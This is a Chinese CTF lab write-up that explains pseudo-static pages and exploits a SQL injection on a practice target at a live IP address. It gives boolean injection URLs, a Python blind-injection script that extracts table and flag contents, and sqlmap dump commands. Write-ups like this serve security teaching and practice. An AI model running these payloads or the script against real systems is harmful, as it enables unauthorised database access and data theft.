- 安鸾之文件包含系列
- 安鸾之SQL系列&余下部分
- sqli-labs之Less-6
- 安鸾基础题之Nginx整数溢出漏洞
- 安鸾SQL系列之搜索型注入
- Keep主题之51la网站统计
1 2 3 |
伪静态&搜索注入题目URL:http://47.103.94.191:8001/ |
①网站形态:分动态和静态。
②动态页面:一个页面根据用户请求,从服务器数据库中筛选出请求的内容并返回前端界面。
③静态页面:用户访问一个页面,服务器直接将该页面返回前端界面,无需数据库支持。
④伪静态页面:动态页面为提高收录率,通过某些规则将动态页面的地址转换成以 htm/html 后缀的形式(重写URL),但本质上仍为动态页面。
⑤个人理解伪静态图:
【Web安全|涂寐‘s Blogs 文章更新——220613】
文章图片
⑥伪静态判定
- 利用
动态页面最后修改时间总为当前时间,静态页面最后修改时间为文件生成时间
的特点进行判定 - 流程:htm页面–>F12–>控制台–>输入
javascript:alert(document.lastModified)
–>日期总为当前时间,为伪静态。
0o02 利用过程
- 纯手工利用
①判断可能存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
http://47.103.94.191:8001/front/articles-1 and 1=1.html # 正常响应 http://47.103.94.191:8001/front/articles-1 and 1=2.html # 异常响应# 伪静态中使用%20,%23,+等字符时会直接传递到URL中,但可使用块注释 /**/ 来代替空格 # 可知当前URL所请求表中含7个字段,通过sqlmap可进一步确认(news库news表) http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/7.html http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/8.html# 布尔注入 # 当 1-true 成立,即为0,则没有文章articles-0,反之为文章articles-1 http://47.103.94.191:8001/front/articles-1-true.html http://47.103.94.191:8001/front/articles-1-false.html# 当前用户名长度 # 当 length(user())=13 成立(true),则 2-(length(user())=13) 得1,则显示文章articles-1,反之显示文章articles-2 # 又,通过 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3 --current-user 得用户名,test@localhost # 故,可以确定当前用户连接用户名长度为14,注入语句成功 http://47.103.94.191:8001/front/articles-2-(length(user())=13).html http://47.103.94.191:8001/front/articles-2-(length(user())=14).html# 当前数据库名长度 http://47.103.94.191:8001/front/articles-1-(length(database())=3).html http://47.103.94.191:8001/front/articles-1-(length(database())=4).htmlhttp://47.103.94.191:8001/front/articles-1.html# 未加入单引号 http://47.103.94.191:8001/front/articles-1'.html # 加入单引号,出现异常响应
这里脚本可以试试二分法进行盲注,可以有效降低时间复杂度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
# !/usr/bin/env python3 from requests.sessions import session import re from time import sleep""" @Time: 2022/5/9 19:18 @Author: 涂寐 @File: d.py @PRODUCT : PyCharm @Description : 用于盲注 http://47.103.94.191:8001/front/articles-1%20AND%20(substring(database(),1,1)='1').html 的脚本"""class Riddle: url = "http://47.103.94.191:8001/front/articles-1{}.html" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55 ' } estimates = "abcdefghigklmnopqrstuvwxyz0123456789@_.,{}!#^*()-+/+&~=%$" re_title = r'(.*?)'def riddle_request(self, url: str) -> list: """ 这是一个网络请求函数 :param url: 待请求注入的网址 :return: 存在注入的判定标识 """ with session().get(url=url, headers=self.headers) as response: content = response.text title_list = re.findall(self.re_title, str(content)) return title_listdef riddle_length(self, sql_syntax: str) -> int: """ 这是一个求取sql请求返回值长度的函数,主要使用还是看你的思维 :param sql_syntax: sql注入语句 :return: sql语句返回值的长度 """ for num in range(1, 1024): url = self.url.format(sql_syntax).format(num=num) print(num, end='-') if not self.riddle_request(url): print(num) return numdef riddle_estimate(self, length: int, sql_syntax: str): """ 这是一个猜想sql请求返回具体内容的函数,主要使用还是看你的思维 :param length: 猜想长度 :param sql_syntax: sql语句 """ flag = 0 for num in range(1, length + 1): for estimate in self.estimates: url = self.url.format(sql_syntax).format(num=num, estimate=estimate) if not self.riddle_request(url): print(estimate, end='') sleep(1) flag = 0 break # 避免过多请求 if flag > 3: print('flag大于3') breakif __name__ == "__main__": # 猜表名 # column_name = "table_name" # table_name = "information_schema.columns" # limit_name = "table_schema" # appoint_name = "news" # 猜字段 # column_name = "column_name" # table_name = "information_schema.columns" # limit_name = "table_name" # appoint_name = "flag_is_here" # 猜字段值 column_name = "flag_number" table_name = "news.flag_is_here" limit_name = "fid" appoint_name = "1" riddle = Riddle() # http://47.103.94.191:8001/front/articles-1 and ((select length(group_concat(distinct table_schema)) from # information_schema.tables)=29).html riddle_length = riddle.riddle_length( sql_syntax=" and ((select length(group_concat(distinct {column_name})) from {table_name} where {limit_name}='{appoint_name}'".format( column_name=column_name, table_name=table_name, limit_name=limit_name, appoint_name=appoint_name) + ")={num})") # http://47.103.94.191:8001/front/articles-1 and (substring((select group_concat(distinct table_schema) from # information_schema.tables),1,1)='i').html riddle.riddle_estimate( sql_syntax=r" and (substring((select group_concat(distinct {column_name}) from {table_name} where {limit_name}='{appoint_name}'".format( column_name=column_name, table_name=table_name, limit_name=limit_name, appoint_name=appoint_name) + "),{num},1)='{estimate}')", length=riddle_length)
- sqlmap利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
# 注!!!注!!!注!!! # sqlmap一把梭时,可在存在伪静态注入点后加入 * 符号标识,具体如下# 爆当前使用的库名 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch–-current-db # 爆news库下表名 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" --tables # 爆news库flag_is_here表下字段名 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' --columns # 爆news库flag_is_here表fid和flag_number字段内容 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' -C 'fid,flag_number' --dump # 最终得到 flag{c681ed59dd48ac30bfe913a4c73b2aaa} # 注:使用 -v 参数设置sqlmap的回显等级, -v 为 3 时恰好显示注入语句 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3
文章图片
推荐阅读
- MySQL|mysql操作、约束、索引
- 数据库|数据库基本概念
- sql|Mysql数据库轻松学09—数据分析师常用(数据查询语言DQL之多表查询)
- JavaSwing项目|基于Eclipse+Java+Swing+Mysql实现旅游管理信息系统
- JDBC从入门到实战|如何通过JDBC访问MySQL数据库(手把手实现登录界面(图解+完整代码))
- 课设|数据库课设之学生成绩管理系统
- mysql|数据库设计之学生成绩管理系统数据库设计
- 学生成绩管理系统|学生成绩管理系统 mysql_学生成绩管理系统(五)(系统的完善与数据库的链接...)
- 面试文|分布式id生成策略,我和面试官扯了一个半小时